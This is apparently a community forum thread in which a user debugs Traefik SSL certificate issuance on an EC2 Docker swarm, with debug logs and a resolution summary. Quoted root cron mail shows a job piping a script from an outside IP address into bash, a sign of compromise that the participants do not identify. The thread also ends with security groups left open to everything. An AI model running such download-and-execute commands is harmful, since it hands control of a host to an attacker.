router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Traefik version 2.5.3 built on 2021-09-20T15:43:56Z"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://doc.traefik.io/traefik/contributing/data-collection/\n"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Starting provider aggregator.ProviderAggregator {}"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Starting provider *traefik.Provider {}"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Starting provider *docker.Provider {\"watch\":true,\"endpoint\":\"unix:///var/run/docker.sock\",\"defaultRule\":\"Host(`{{ normalize .Name }}`)\",\"swarmMode\":true,\"swarmModeRefreshSeconds\":\"15s\"}"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Starting provider *acme.ChallengeTLSALPN {\"Timeout\":4000000000}"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Starting provider *acme.Provider {\"email\":\"<MY-EMAIL>\",\"caServer\":\"https://acme-v02.api.letsencrypt.org/directory\",\"storage\":\"/data/acme.json\",\"keyType\":\"RSA4096\",\"tlsChallenge\":{},\"ResolverName\":\"default\",\"store\":{},\"TLSChallengeProvider\":{\"Timeout\":4000000000},\"HTTPChallengeProvider\":{}}"
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Testing certificate renew..." providerName=default.acme
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:26Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:41Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:56Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:46:11Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:46:26Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:46:41Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:46:56Z" level=info msg="Skipping same configuration" providerName=docker

Debug Logs:

 router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Configuration loaded from flags."
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Traefik version 2.5.3 built on 2021-09-20T15:43:56Z"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Static configuration loaded {\"global\":{\"checkNewVersion\":true},\"serversTransport\":{\"maxIdleConnsPerHost\":200},\"entryPoints\":{\"web\":{\"address\":\":80\",\"transport\":{\"lifeCycle\":{\"graceTimeOut\":\"10s\"},\"respondingTimeouts\":{\"idleTimeout\":\"3m0s\"}},\"forwardedHeaders\":{},\"http\":{\"redirections\":{\"entryPoint\":{\"to\":\"websecure\",\"scheme\":\"https\",\"permanent\":true,\"priority\":2147483646}}},\"udp\":{\"timeout\":\"3s\"}},\"websecure\":{\"address\":\":443\",\"transport\":{\"lifeCycle\":{\"graceTimeOut\":\"10s\"},\"respondingTimeouts\":{\"idleTimeout\":\"3m0s\"}},\"forwardedHeaders\":{},\"http\":{\"tls\":{\"certResolver\":\"default\"}},\"udp\":{\"timeout\":\"3s\"}}},\"providers\":{\"providersThrottleDuration\":\"2s\",\"docker\":{\"watch\":true,\"endpoint\":\"unix:///var/run/docker.sock\",\"defaultRule\":\"Host(`{{ normalize .Name }}`)\",\"swarmMode\":true,\"swarmModeRefreshSeconds\":\"15s\"}},\"api\":{\"dashboard\":true},\"log\":{\"level\":\"DEBUG\",\"format\":\"common\"},\"accessLog\":{\"format\":\"common\",\"filters\":{},\"fields\":{\"defaultMode\":\"keep\",\"headers\":{\"defaultMode\":\"drop\"}}},\"certificatesResolvers\":{\"default\":{\"acme\":{\"email\":\"<MY-EMAIL>\",\"caServer\":\"https://acme-v02.api.letsencrypt.org/directory\",\"storage\":\"/data/acme.json\",\"keyType\":\"RSA4096\",\"tlsChallenge\":{}}}},\"pilot\":{\"dashboard\":true}}"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://doc.traefik.io/traefik/contributing/data-collection/\n"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Starting provider aggregator.ProviderAggregator {}"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Start TCP Server" entryPointName=web
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Start TCP Server" entryPointName=websecure
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Starting provider *traefik.Provider {}"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Configuration received from provider internal: {\"http\":{\"routers\":{\"web-to-websecure\":{\"entryPoints\":[\"web\"],\"middlewares\":[\"redirect-web-to-websecure\"],\"service\":\"noop@internal\",\"rule\":\"HostRegexp(`{host:.+}`)\",\"priority\":2147483646}},\"services\":{\"api\":{},\"dashboard\":{},\"noop\":{}},\"middlewares\":{\"redirect-web-to-websecure\":{\"redirectScheme\":{\"scheme\":\"https\",\"port\":\"443\",\"permanent\":true}}},\"models\":{\"websecure\":{\"tls\":{\"certResolver\":\"default\"}}},\"serversTransports\":{\"default\":{\"maxIdleConnsPerHost\":200}}},\"tcp\":{},\"tls\":{}}" providerName=internal
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Starting provider *docker.Provider {\"watch\":true,\"endpoint\":\"unix:///var/run/docker.sock\",\"defaultRule\":\"Host(`{{ normalize .Name }}`)\",\"swarmMode\":true,\"swarmModeRefreshSeconds\":\"15s\"}"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Starting provider *acme.ChallengeTLSALPN {\"Timeout\":4000000000}"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Starting provider *acme.Provider {\"email\":\"<MY-EMAIL>\",\"caServer\":\"https://acme-v02.api.letsencrypt.org/directory\",\"storage\":\"/data/acme.json\",\"keyType\":\"RSA4096\",\"tlsChallenge\":{},\"ResolverName\":\"default\",\"store\":{},\"TLSChallengeProvider\":{\"Timeout\":4000000000},\"HTTPChallengeProvider\":{}}"
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=info msg="Testing certificate renew..." providerName=default.acme
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="No default certificate, generating one" tlsStoreName=default
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Configuration received from provider default.acme: {\"http\":{},\"tls\":{}}" providerName=default.acme
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Provider connection established with docker 20.10.7 (API 1.41)" providerName=docker
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Configuration received from provider docker: {\"http\":{},\"tcp\":{},\"udp\":{}}" providerName=docker
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Added outgoing tracing middleware noop@internal" routerName=web-to-websecure@internal middlewareName=tracing middlewareType=TracingForwarder entryPointName=web
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Creating middleware" middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web routerName=web-to-websecure@internal
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Setting up redirection to https 443" routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Adding tracing to middleware" entryPointName=web routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Creating middleware" middlewareName=traefik-internal-recovery middlewareType=Recovery entryPointName=web
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="No default certificate, generating one" tlsStoreName=default
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Added outgoing tracing middleware noop@internal" routerName=web-to-websecure@internal middlewareName=tracing middlewareType=TracingForwarder entryPointName=web
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Creating middleware" entryPointName=web routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Setting up redirection to https 443" entryPointName=web routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Adding tracing to middleware" entryPointName=web routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Creating middleware" entryPointName=web middlewareName=traefik-internal-recovery middlewareType=Recovery
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="No default certificate, generating one" tlsStoreName=default
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Added outgoing tracing middleware noop@internal" entryPointName=web routerName=web-to-websecure@internal middlewareName=tracing middlewareType=TracingForwarder
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Creating middleware" middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web routerName=web-to-websecure@internal
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Setting up redirection to https 443" entryPointName=web routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Adding tracing to middleware" middlewareName=redirect-web-to-websecure@internal entryPointName=web routerName=web-to-websecure@internal
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:28Z" level=debug msg="Creating middleware" middlewareName=traefik-internal-recovery middlewareType=Recovery entryPointName=web
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:43Z" level=debug msg="Filtering disabled container" providerName=docker container=router-traefik-u8wdz7qczvxau8d9dnhoamhez
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:43Z" level=debug msg="Configuration received from provider docker: {\"http\":{},\"tcp\":{},\"udp\":{}}" providerName=docker
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:58Z" level=debug msg="Filtering disabled container" providerName=docker container=router-traefik-u8wdz7qczvxau8d9dnhoamhez
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:58Z" level=debug msg="Configuration received from provider docker: {\"http\":{},\"tcp\":{},\"udp\":{}}" providerName=docker
router_traefik.1.u8wdz7qczvxa@<MY-DOMAIN>    | time="2021-10-26T19:48:58Z" level=info msg="Skipping same configuration" providerName=docker

jtorous · October 26, 2021, 8:33pm

It is blurry to see, but can/did you try the default VPC?

standera · October 27, 2021, 1:45pm

Apologies for that. Yes, I’m using the default VPC for both EC2 instances. Here’s a screenshot of the vpc.

avaidyam · October 27, 2021, 2:12pm

Somehow the lack of an error message makes me think that this did succeed? Could you scale Traefik down to 0 and then back up to 1 (essentially, restarting it) and then share whether you are able to see an SSL certificate? Please be sure to use an incognito window to prevent Chrome from caching anything.

standera · October 27, 2021, 2:56pm

I performed the traefik scale to restart it and it seems I’m am still having certification issues trying to access my domain from an incognito tab. Viewing the certifcate is as follows:

The two EC2 instances are the same from the ones screenshotted above. I did, however have to start these instances again as I stopped them yesterday. This required to start docker again by running sudo systemctl daemon-reload && sudo service docker restart

Lastly, I keep getting You have new mail in /var/spool/mail/root messages on my instance now. Viewing the mail is as follows:

Message-Id: <20211027144513.12A69104FA4@<MY-DOMAIN>>
Date: Wed, 27 Oct 2021 14:43:01 +0000 (UTC)

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:02:11 --:--:--     0
curl: (28) Failed to connect to 199.19.226.117 port 80: Connection timed out

From root@<MY-DOMAIN>  Wed Oct 27 14:45:13 2021
Return-Path: <root@<MY-DOMAIN>>
X-Original-To: root
Delivered-To: root@<MY-DOMAIN>
Received: by <MY-DOMAIN> (Postfix, from userid 0)
        id 138F6104FA9; Wed, 27 Oct 2021 14:45:13 +0000 (UTC)
From: "(Cron Daemon)" <root@<MY-DOMAIN>>
To: root@<MY-DOMAIN>
Subject: Cron <root@devstandera> curl http://199.19.226.117/b2f628/cronb.sh|bash
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=31>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20211027144513.138F6104FA9@<MY-DOMAIN>>
Date: Wed, 27 Oct 2021 14:43:01 +0000 (UTC)

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:02:11 --:--:--     0
curl: (28) Failed to connect to 199.19.226.117 port 80: Connection timed out

If it is easier to meet over zoom to debug more, I am more than happy to do so!

Thanks a ton

avaidyam · October 27, 2021, 3:08pm

This is quite strange! I’ve never heard of getting mail like this on the root user. I’ll DM you about meeting over Zoom tomorrow to get to the bottom of this.

standera · October 27, 2021, 7:11pm

Summary from @avaidyam and I’s meeting…

We were able to get SSL working through traefik on my manually created 2 node swarm! The caveat with this is the security groups for both EC2 nodes are open to everything. To get the SSL certificate to work we performed the following steps:

I had both my nodes’ hostnames set to the exact same example.com. We changed them to node-01.example.com and node-02.example.com respectively using the sudo hostnamectl set-hostname command
We then deployed the lamp platform using the lamp.yml in the documentation. traefik will not supply an SSL certificate unless there is a service running that would need it. All of my previous debugging involved exclusively deploying the traefik service, thus regardless if it was working or not, trying to access my domain from a browser would result in security issues.
Lastly, we made sure the the /data/couchdb path existed on both nodes.

Running these steps above, after confirmation of all the lamp services running, resulted in success of a SSL certificate on my domain. Next steps include starting from scratch on a single node swarm with the correct security groups provided

Topic		Replies	Views
Initial deployment troubleshooting: docker services, user creation Deployment & Development	15	104	March 11, 2024
Docker Stack -- api and db domain name Data & Analysis	12	450	October 12, 2021
Error on Connection Data & Analysis	5	481	November 4, 2021
Deployment: Almost there! Deployment & Development	6	182	June 27, 2023
Confirming a working install Deployment & Development	3	299	July 20, 2021

Testing the LAMP Platform: Server Admin Troubles

Related Topics